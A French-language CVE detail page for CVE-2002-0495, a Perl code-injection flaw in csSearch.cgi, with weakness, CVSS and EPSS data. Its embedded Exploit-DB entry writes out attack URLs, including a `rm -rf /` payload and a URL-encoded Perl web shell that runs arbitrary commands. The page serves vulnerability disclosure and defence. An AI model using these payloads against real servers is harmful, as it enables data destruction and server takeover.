CVE-2002-0495 : Détail

CVE-2002-0495

Code Injection
A03-Injection
1.9%V3
Network
2003-04-02
03h00 +00:00
2002-06-15
07h00 +00:00
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Descriptions du CVE

csSearch.cgi in csSearch 2.3 and earlier allows remote attackers to execute arbitrary Perl code via the savesetup command and the setup parameter, which overwrites the setup.cgi configuration file that is loaded by csSearch.cgi.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 21354

Date de publication : 2002-03-25 23h00 +00:00
Auteur : Steve Gustin
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/4368/info csSearch is a website search script, written in Perl. It will run on most Unix and Linux variants, as well as Microsoft operating systems. csSearch is prone to an issue which may enable an attacker to execute Perl code with the privileges of the webserver process. For exploitation to be successful, the attacker must pass properly URL encoded Perl code in CGI parameters via a web request. For example: http://host/cgi-bin/csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE Configuration data is saved with the following URL. Note that any perl code would need to be URL encoded. csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE For example, the classic "rm -rf /" example would be as follows: csSearch.cgi?command=savesetup&setup=`rm%20-rf%20/` Here's something a little more interesting, less than 300 bytes of code that turns csSearch into a remote web shell of sorts. *ShowSearchForm = *Login = sub { print "<form method=post action=csSearch.cgi>Enter Command (eg: ls -l)<br>"; print "<input type=text name=cmd size=99> "; print "<input type=submit value=Execute><hr><xmp>"; $in{'cmd'} && print `$in{'cmd'} 2>&1`; exit; }; URL Encoded as: csSearch.cgi?command=savesetup&setup=*ShowSearchForm%3D*Login%3Dsub{print"<form+method%3Dpost+action%3DcsSearch.cgi>Enter+Comm and+(example:+ls+-l)<br><input+type%3Dtext+name%3Dcmd+size%3D99>+<input+type%3Dsubmit+value%3DExecute><hr><xmp>";$in{'cmd'}%26 %26print`$in{'cmd'}+2>%261`;exit;};

Products Mentioned

Configuraton 0

Cgiscript>>Cssearch_professional >> Version To (including) 2.3

Références

http://www.securityfocus.com/bid/4368
Tags : vdb-entry, x_refsource_BID
http://www.securityfocus.com/archive/1/264169
Tags : mailing-list, x_refsource_BUGTRAQ